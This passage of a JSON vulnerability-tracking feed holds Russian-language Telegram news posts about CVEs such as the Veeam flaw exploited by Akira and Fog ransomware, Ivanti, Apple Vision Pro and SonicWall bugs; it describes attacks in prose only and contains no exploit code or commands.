\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Veeam Backup & Replication (VBR).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-40711 \u00a0(CVSS 9,8), \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Code White \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\nVeeam \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0435\u0449\u0435 4 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f. \n\n\u0427\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435 9 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f watchTowr Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0430 PoC \u0434\u043e 15 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c  \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 Veeam VBR \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445, \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d. \u0418\u043c \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f\u00a0\u0431\u043e\u043b\u0435\u0435 550 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 74% \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000.\n\n\u041a\u0430\u043a \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 Sophos X-Ops, \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 CVE-2024-40711 \u0431\u044b\u043b\u0430 \u0431\u044b\u0441\u0442\u0440\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Akira \u0438 Fog \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0440\u0430\u043d\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430.\n\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Fog. \u0414\u0440\u0443\u0433\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0435\u0440\u0438\u043e\u0434 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c Akira. \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0432\u043e \u0432\u0441\u0435\u0445 4 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u044d\u0442\u0438\u0445 \u0431\u0430\u043d\u0434 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0412 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u044f\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 VPN-\u0448\u043b\u044e\u0437\u044b \u0431\u0435\u0437 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 MFa. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 VPN \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441 \u0443\u0436\u0435 \u043d\u0435\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u041f\u041e.\n\n\u0412 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0435 \u0441 \u0432\u0438\u0440\u0443\u0441\u043e\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u043c Fog \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b \u0435\u0433\u043e \u043d\u0430 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Hyper-V, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0443\u0442\u0438\u043b\u0438\u0442\u0443 rclone \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0412\u0430\u043d\u0433\u0443\u0435\u043c, \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u0442 Sophos X-Ops, \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 Veeam \u0431\u043e\u043b\u0442 \u0435\u0449\u0435 \u0434\u043e\u043b\u0433\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043d\u044f\u0442 \u0441 \u0442\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430. \n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-10-11T16:10:05.000000Z"}, {"uuid": "928005a1-a369-4299-a7f1-5fb8a1418a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "https://t.me/true_secator/6212", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n1. Ivanti, \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c, \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0430\u0441\u044c \u0441 \u044d\u043a\u0430\u043f\u043b\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Cloud Service Appliance (CSA). CVE-2024-8190 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 Ivanti CSA \u0441 \u0438\u0441\u0442\u0435\u043a\u0448\u0438\u043c \u0441\u0440\u043e\u043a\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u041f\u041e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a.\n\n2. Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-29847, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 RCE \u0432 Ivanti Endpoint Manager, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0438 \u0442\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n3. Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Vision Pro \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0424\u043b\u043e\u0440\u0438\u0434\u044b \u0438 \u0422\u0435\u0445\u0430\u0441\u0441\u043a\u043e\u0433\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0438.\n\n\u041c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 GAZEploit \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Vision Pro, \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0433\u043b\u0430\u0437.\n\n\u0410\u0442\u0430\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 30 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c.\n\nApple \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a\u00a0CVE-2024-40865\u00a0 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0435 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c visionOS 1.3. \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f visionOS 1.3 \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043b\u044f, \u043d\u043e 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f Apple \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0435\u0435, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 CVE-2024-40865.\u00a0\n\n4. \u0415\u0449\u0435 \u043f\u043e Apple: \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432 iOS 18 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u00a0\u0444\u0443\u043d\u043a\u0446\u0438\u044e\u00a0\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b iPhone, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u0430\u043c\u0435\u0440\u044b, \u0430\u043a\u043a\u0443\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u044b \u0438 \u0434\u0438\u0441\u043f\u043b\u0435\u0438. \n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043b\u044e\u0441\u043e\u0432 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u0443\u043b\u0438\u0442 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u043c\u043e\u043d\u0442\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0434\u043b\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043c\u0430\u0441\u0442\u0435\u0440\u0441\u043a\u0438\u0445.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0413\u0430\u0431\u043e\u0440 \u041b\u0435\u0433\u0440\u0430\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java. \n\nCVE-2024-38816 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u044e\u0431\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430.\n\n\u0410\u0442\u0430\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u041d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n6. \u041c\u0438\u043a\u043a\u043e \u041a\u0435\u043d\u0442\u0442\u044f\u043b\u044f \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u043e\u0442\u0447\u0435\u0442 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u0438\u0438 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f Zero Click \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0440\u0435\u0434\u044b \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044f macOS. \u0412\u0441\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 2022 \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2023 \u0433\u043e\u0434\u0430.\n\n7. \u0412 Positive Technologies \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0441\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435:\n\n- RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows Remote Desktop Licensing Service, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 MadLicense (CVE-2024-38077);\n\n- \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 Mark of the Web \u0432 Windows, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 (CVE-2024-38213);\n\n- EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Windows (CVE-2024-38106), \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 Ancillary Function (CVE-2024-38193) \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Power Dependency Coordinator (CVE-2024-38107);\n\n- EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 LiteSpeed Cache \u0434\u043b\u044f WordPress CMS (CVE-2024-28000).", "creation_timestamp": "2024-09-16T19:00:07.000000Z"}, {"uuid": "9e4b9c8f-8e78-4dea-887e-106e2d71613e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/true_secator/6186", "content": "\u041f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u043d\u0430 \u043d\u0435\u0434\u0435\u043b\u0435 - \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e. \n\n1. SonicWall \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0432\u043e\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b VPN \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 CVE-2024-40766. 